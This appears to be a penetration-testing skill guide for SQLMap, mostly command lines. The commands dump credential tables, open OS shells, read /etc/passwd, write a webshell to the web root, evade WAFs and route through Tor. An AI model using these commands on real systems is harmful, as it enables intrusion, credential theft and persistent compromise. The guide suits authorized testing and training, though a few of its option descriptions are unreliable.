SQLMap Database Penetration Testing

Purpose

Provide systematic methodologies for automated SQL injection detection and exploitation using SQLMap. This skill covers database enumeration, table and column discovery, data extraction, multiple target specification methods, and advanced exploitation techniques for MySQL, PostgreSQL, MSSQL, Oracle, and other database management systems.

Inputs / Prerequisites

Target URL: Web application URL with injectable parameter (e.g., ?id=1)

SQLMap Installation: Pre-installed on Kali Linux or downloaded from GitHub

Verified Injection Point: URL parameter confirmed or suspected to be SQL injectable

Request File (Optional): Burp Suite captured HTTP request for POST-based injection

Authorization: Written permission for penetration testing activities

Outputs / Deliverables

Database Enumeration: List of all databases on the target server

Table Structure: Complete table names within target database

Column Mapping: Column names and data types for each table

Extracted Data: Dumped records including usernames, passwords, and sensitive data

Hash Values: Password hashes for offline cracking

Vulnerability Report: Confirmation of SQL injection type and severity

Core Workflow

1. Identify SQL Injection Vulnerability

Manual Verification

# Add single quote to break query
http://target.com/page.php?id=1'
If error message appears, likely SQL injectable

Error example: "You have an error in your SQL syntax"

Initial SQLMap Scan

# Basic vulnerability detection
sqlmap -u "http://target.com/page.php?id=1" --batch
With verbosity for detailed output

sqlmap -u "http://target.com/page.php?id=1" --batch -v 3

2. Enumerate Databases

List All Databases

sqlmap -u "http://target.com/page.php?id=1" --dbs --batch

Key Options:

-u: Target URL with injectable parameter

--dbs: Enumerate database names

--batch: Use default answers (non-interactive mode)

3. Enumerate Tables

List Tables in Specific Database

sqlmap -u "http://target.com/page.php?id=1" -D database_name --tables --batch

Key Options:

-D: Specify target database name

--tables: Enumerate table names

4. Enumerate Columns

List Columns in Specific Table

sqlmap -u "http://target.com/page.php?id=1" -D database_name -T table_name --columns --batch

Key Options:

-T: Specify target table name

--columns: Enumerate column names

5. Extract Data

Dump Specific Table Data

sqlmap -u "http://target.com/page.php?id=1" -D database_name -T table_name --dump --batch

Dump Specific Columns

sqlmap -u "http://target.com/page.php?id=1" -D database_name -T users -C username,password --dump --batch

Dump Entire Database

sqlmap -u "http://target.com/page.php?id=1" -D database_name --dump-all --batch

Key Options:

--dump: Extract all data from specified table

--dump-all: Extract all data from all tables

-C: Specify column names to extract

6. Advanced Target Options

Target from HTTP Request File

# Save Burp Suite request to file, then:
sqlmap -r /path/to/request.txt --dbs --batch

Target from Log File

# Feed log file with multiple requests
sqlmap -l /path/to/logfile --dbs --batch

Target Multiple URLs (Bulk File)

# Create file with URLs, one per line:
http://target1.com/page.php?id=1

http://target2.com/page.php?id=2

sqlmap -m /path/to/bulkfile.txt --dbs --batch

Target via Google Dorks (Use with Caution)

# Automatically find and test vulnerable sites (LEGAL TARGETS ONLY)
sqlmap -g "inurl:?id= site:yourdomain.com" --batch

Quick Reference Commands

Database Enumeration Progression

Stage	Command
List Databases	`sqlmap -u "URL" --dbs --batch`
List Tables	`sqlmap -u "URL" -D dbname --tables --batch`
List Columns	`sqlmap -u "URL" -D dbname -T tablename --columns --batch`
Dump Data	`sqlmap -u "URL" -D dbname -T tablename --dump --batch`
Dump All	`sqlmap -u "URL" -D dbname --dump-all --batch`

Supported Database Management Systems

DBMS	Support Level
MySQL	Full Support
PostgreSQL	Full Support
Microsoft SQL Server	Full Support
Oracle	Full Support
Microsoft Access	Full Support
IBM DB2	Full Support
SQLite	Full Support
Firebird	Full Support
Sybase	Full Support
SAP MaxDB	Full Support
HSQLDB	Full Support
Informix	Full Support

SQL Injection Techniques

Technique	Description	Flag
Boolean-based blind	Infers data from true/false responses	`--technique=B`
Time-based blind	Uses time delays to infer data	`--technique=T`
Error-based	Extracts data from error messages	`--technique=E`
UNION query-based	Uses UNION to append results	`--technique=U`
Stacked queries	Executes multiple statements	`--technique=S`
Out-of-band	Uses DNS or HTTP for exfiltration	`--technique=Q`

Essential Options

Option	Description
`-u`	Target URL
`-r`	Load HTTP request from file
`-l`	Parse targets from Burp/WebScarab log
`-m`	Bulk file with multiple targets
`-g`	Google dork (use responsibly)
`--dbs`	Enumerate databases
`--tables`	Enumerate tables
`--columns`	Enumerate columns
`--dump`	Dump table data
`--dump-all`	Dump all database data
`-D`	Specify database
`-T`	Specify table
`-C`	Specify columns
`--batch`	Non-interactive mode
`--random-agent`	Use random User-Agent
`--level`	Level of tests (1-5)
`--risk`	Risk of tests (1-3)

Constraints and Limitations

Operational Boundaries

Requires valid injectable parameter in target URL

Network connectivity to target database server required

Large database dumps may take significant time

Some WAF/IPS systems may block SQLMap traffic

Time-based attacks significantly slower than error-based

Performance Considerations

Use --threads to speed up enumeration (default: 1)

Limit dumps with --start and --stop for large tables

Use --technique to specify faster injection method if known

Legal Requirements

Only test systems with explicit written authorization

Google dork attacks against unknown sites are illegal

Document all testing activities and findings

Respect scope limitations defined in engagement rules

Detection Risk

SQLMap generates significant log entries

Use --random-agent to vary User-Agent header

Consider --delay to avoid triggering rate limits

Proxy through Tor with --tor for anonymity (authorized tests only)

Examples

Example 1: Complete Database Enumeration

# Step 1: Discover databases
sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" --dbs --batch
Result: acuart database found
Step 2: List tables

sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" -D acuart --tables --batch
Result: users, products, carts, etc.
Step 3: List columns

sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" -D acuart -T users --columns --batch
Result: username, password, email columns
Step 4: Dump user credentials

sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" -D acuart -T users --dump --batch

Example 2: POST Request Injection

# Save Burp request to file (login.txt):
POST /login.php HTTP/1.1

Host: target.com

Content-Type: application/x-www-form-urlencoded


username=admin&password=test
Run SQLMap with request file

sqlmap -r /root/Desktop/login.txt -p username --dbs --batch

Example 3: Bulk Target Scanning

# Create bulkfile.txt:
echo "http://192.168.1.10/sqli/Less-1/?id=1" > bulkfile.txt
echo "http://192.168.1.10/sqli/Less-2/?id=1" >> bulkfile.txt
Scan all targets

sqlmap -m bulkfile.txt --dbs --batch

Example 4: Aggressive Testing

# High level and risk for thorough testing
sqlmap -u "http://target.com/page.php?id=1" --dbs --batch --level=5 --risk=3
Specify all techniques

sqlmap -u "http://target.com/page.php?id=1" --dbs --batch --technique=BEUSTQ

Example 5: Extract Specific Credentials

# Target specific columns
sqlmap -u "http://target.com/page.php?id=1" \
  -D webapp \
  -T admin_users \
  -C admin_name,admin_pass,admin_email \
  --dump --batch
Automatically crack password hashes

sqlmap -u "http://target.com/page.php?id=1" \
  -D webapp \
  -T users \
  --dump --batch \
  --passwords

Example 6: OS Shell Access (Advanced)

# Get interactive OS shell (requires DBA privileges)
sqlmap -u "http://target.com/page.php?id=1" --os-shell --batch
Execute specific OS command

sqlmap -u "http://target.com/page.php?id=1" --os-cmd="whoami" --batch
File read from server

sqlmap -u "http://target.com/page.php?id=1" --file-read="/etc/passwd" --batch
File upload to server

sqlmap -u "http://target.com/page.php?id=1" --file-write="/local/shell.php" --file-dest="/var/www/html/shell.php" --batch

Troubleshooting

Issue: "Parameter does not seem injectable"

Cause: SQLMap cannot find injection point
Solution:

# Increase testing level and risk
sqlmap -u "URL" --dbs --batch --level=5 --risk=3
Specify parameter explicitly

sqlmap -u "URL" -p "id" --dbs --batch
Try different injection techniques

sqlmap -u "URL" --dbs --batch --technique=BT
Add prefix/suffix for filter bypass

sqlmap -u "URL" --dbs --batch --prefix="'" --suffix="-- -"

Issue: Target Behind WAF/Firewall

Cause: Web Application Firewall blocking requests
Solution:

# Use tamper scripts
sqlmap -u "URL" --dbs --batch --tamper=space2comment
List available tamper scripts

sqlmap --list-tampers
Common tamper combinations

sqlmap -u "URL" --dbs --batch --tamper=space2comment,between,randomcase
Add delay between requests

sqlmap -u "URL" --dbs --batch --delay=2
Use random User-Agent

sqlmap -u "URL" --dbs --batch --random-agent

Issue: Connection Timeout

Cause: Network issues or slow target
Solution:

# Increase timeout
sqlmap -u "URL" --dbs --batch --timeout=60
Reduce threads

sqlmap -u "URL" --dbs --batch --threads=1
Add retries

sqlmap -u "URL" --dbs --batch --retries=5

Issue: Time-Based Attacks Too Slow

Cause: Default time delay too conservative
Solution:

# Reduce time delay (risky, may cause false negatives)
sqlmap -u "URL" --dbs --batch --time-sec=3
Use boolean-based instead if possible

sqlmap -u "URL" --dbs --batch --technique=B

Issue: Cannot Dump Large Tables

Cause: Table has too many records
Solution:

# Limit number of records
sqlmap -u "URL" -D db -T table --dump --batch --start=1 --stop=100
Dump specific columns only

sqlmap -u "URL" -D db -T table -C username,password --dump --batch
Exclude specific columns

sqlmap -u "URL" -D db -T table --dump --batch --exclude-sysdbs

Issue: Session Drops During Long Scan

Cause: Session timeout or connection reset
Solution:

# Save and resume session
sqlmap -u "URL" --dbs --batch --output-dir=/root/sqlmap_session
Resume from saved session

sqlmap -u "URL" --dbs --batch --resume
Use persistent HTTP connection

sqlmap -u "URL" --dbs --batch --keep-alive